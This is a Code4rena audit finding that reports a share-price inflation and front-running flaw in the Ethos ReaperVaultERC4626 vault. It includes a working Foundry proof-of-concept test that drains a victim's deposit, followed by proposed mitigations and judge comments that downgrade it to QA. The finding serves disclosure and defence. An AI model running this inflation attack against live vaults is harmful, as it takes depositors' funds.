ERC4626 vault vulnerable to price inflation leading to loss of funds

[code423n4]

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L110
https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L319
https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L336

Vulnerability details

Impact

During periods of low share liquidity the Ethos Vault ERC4626 implementation (ReaperVaultERC4626) is vulnerable to price inflation attacks from EOAs or smart contracts that are granted the DEPOSITOR role.

L61 of ReaperVaultV2.sol states the DEPOSITOR role can be conferred to multiple EOAs or contracts;

{DEPOSITOR} - Role conferred to EOAs/contracts that are allowed to deposit in the vault.

One of these DEPOSITORS acting in their own self interest can front-run deposits and withdrawals causing;

1. Loss of funds (with or without front running) by inflating the price per share and removing shares (and associated funds) for profit.
2. Deny the issuance of shares by front-running and increasing the price.
   1. Front-runned transactions fail to mint shares but pool funds in the Vault.

The most likely victim is the ActivePool itself which will be depositing funds in the ERC4626 vault. With only a single malicious DEPOSITOR either of both the scenarios above are possible.

Note the DEPOSITOR is the minimum role required to perform this attack. It could also be performed by a STRATEGIST, GUARDIAN, or ADMIN. L320 of ReaperVaultV2.sol details the access check.

Proof of Concept

Scenario #1 - Attacker front-runs a transaction resulting in a deposit but no shares minted.

1. The attacker, a DEPOSITOR deposits 1 token in the ERC4626 vault ReaperVaultERC4626 and mints a single share as the deposit amount becomes the share issue amount at this stage of low liquidity.
2. The attacker detects a deposit transaction from the ActivePool in the mempool and decides to front-run the transaction, making a direct transfer of enough tokens to ensure the transaction deposits the funds but isn’t enough to mint a share.
3. The attacker then redeems their share and removes all the funds from the Vault 1 + their direct transfer + the ActivePool deposit that failed to mint a share.

Scenario #2 - Attacker doesn’t front run but just removes their share after a successful deposit from the ActivePool (or other depositor).

The following Foundry test demonstrates these different scenarios;

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import "../contracts/ReaperVaultERC4626.sol";
// Use a test ERC token with a public mint so the helper function `fundAndApproveAccount` works.
import {TestERC20Token} from "./util/TestERC20Token.sol";

contract VaultAttacker is Test {
    address[] strategists;
    address[] multisigRoles;
    ReaperVaultERC4626 vault;
    TestERC20Token asset;

    address attacker;
    address alice;
    address bob;

    function setUp() public {
        address treasuryAddr = address(0xeb9C9b785aA7818B2EBC8f9842926c4B9f707e4B);
        strategists = new address[](1);
        multisigRoles = new address[](3);

        strategists[0] = address(0x1E71AEE6081f62053123140aacC7a06021D77348);
        multisigRoles[0] = address(0x9BC776dBb134Ef9D7014dB1823Cd755Ac5015203); //strategist
        multisigRoles[1] = address(0xeb9C9b785aA7818B2EBC8f9842926c4B9f707e4B); //admin
        multisigRoles[2] = address(0xb0C9D5851deF8A2Aac4A23031CA2610f8C3483F9); //guardian

        asset = new TestERC20Token("Test Token", "TT", 18);
        vault = new ReaperVaultERC4626(address(asset),
                                'Ethos Reserve WBTC Vault',
                                'ethos-WBTC', 
                                type(uint256).max,
                                treasuryAddr, // Treasury
                                strategists,
                                multisigRoles);
        attacker = address(this);
        alice = address(1337);
        // bob = address(1338); // The bob scenario is just a front-runned loss of funds as deposit won't mint a share.
        vault.grantRole(keccak256("DEPOSITOR"), attacker);
        vault.grantRole(keccak256("DEPOSITOR"), alice);
        //vault.grantRole(keccak256("DEPOSITOR"), bob);
    }

    function testTheVault() public {
        // The Vault has no assets.
        require(vault.totalAssets() == 0);
        require(vault.totalSupply() == 0);

        // Using a large enough amount to prove loss of reasonable funds. 
        uint256 inflateAmount = 10017;
        uint256 delta = 21;
        require(inflateAmount > 10000);

        // fund the attacker account account
        fundAndApproveAccount(attacker, inflateAmount);
        // deposit a single token and ensure you receive a share and the vault has the asset.
        uint256 shares = vault.deposit(1, attacker);
        require(shares == 1);
        require(vault.totalAssets() == 1);

        // Attacker inflates the price per share via a direct transfer of tokens to the vault.
        asset.transfer(address(vault), inflateAmount-1);

        /*
        // Bob is a victim as well they just can't mint a share.
        address bob = address(1338);
        uint256 bobDeposit = 1000; // Not enough to mint a share because of the attacker's actions.
        fundAndApproveAccount(bob, bobDeposit);

        vm.startPrank(bob);
        uint256 bobShares = vault.deposit(bobDeposit, bob); 
        assertLt(bobShares, 1); // Bob is unable to mint a share.
        vm.stopPrank();
        */

        // fund alice (the victim) enough to mint a share. 
        uint256 victimDeposit = inflateAmount + delta;

        // mint and approve some tokens for alice (the victim)
        fundAndApproveAccount(alice, victimDeposit);
        vm.startPrank(alice);
        uint256 aliceShares = vault.deposit(victimDeposit, alice);
        // If this is front-run then alice will fail to mint a share, increasing the profit for the attacker.
        assertEq(aliceShares, 1);
        vm.stopPrank();

        //Attacker removes their share
        uint256 attackerWin = vault.redeem(1, attacker, attacker);
        vm.prank(alice);
        uint256 aliceWithdrawnFunds = vault.redeem(aliceShares, alice, alice);

        // Account the loss for alice.
        uint256 victimLoss = victimDeposit - aliceWithdrawnFunds;
        console.log("The victim lost: ", victimLoss);
    }

    function fundAndApproveAccount(address owner, uint256 tokens) internal {
        asset.mint(owner, tokens);
        asset.forceApproval(owner, address(vault), tokens);
    }
}

Recommended mitigation steps

UniswapV2 has solved this by minting an amount of shares (MINIMUM_LIQUIDITY) to address(0) ensuring that price manipulation is more difficult and expensive to perform. Another option is to track total assets internally so that assets directly transferred to the vault are unaccounted for but may be retrieved by an administrator. This ensures that only deposits and redeem functions can change the tracked balances of the vault.

[c4-judge]

trust1995 marked the issue as duplicate of #848

[c4-judge]

trust1995 marked the issue as satisfactory

[c4-judge]

trust1995 changed the severity to QA (Quality Assurance)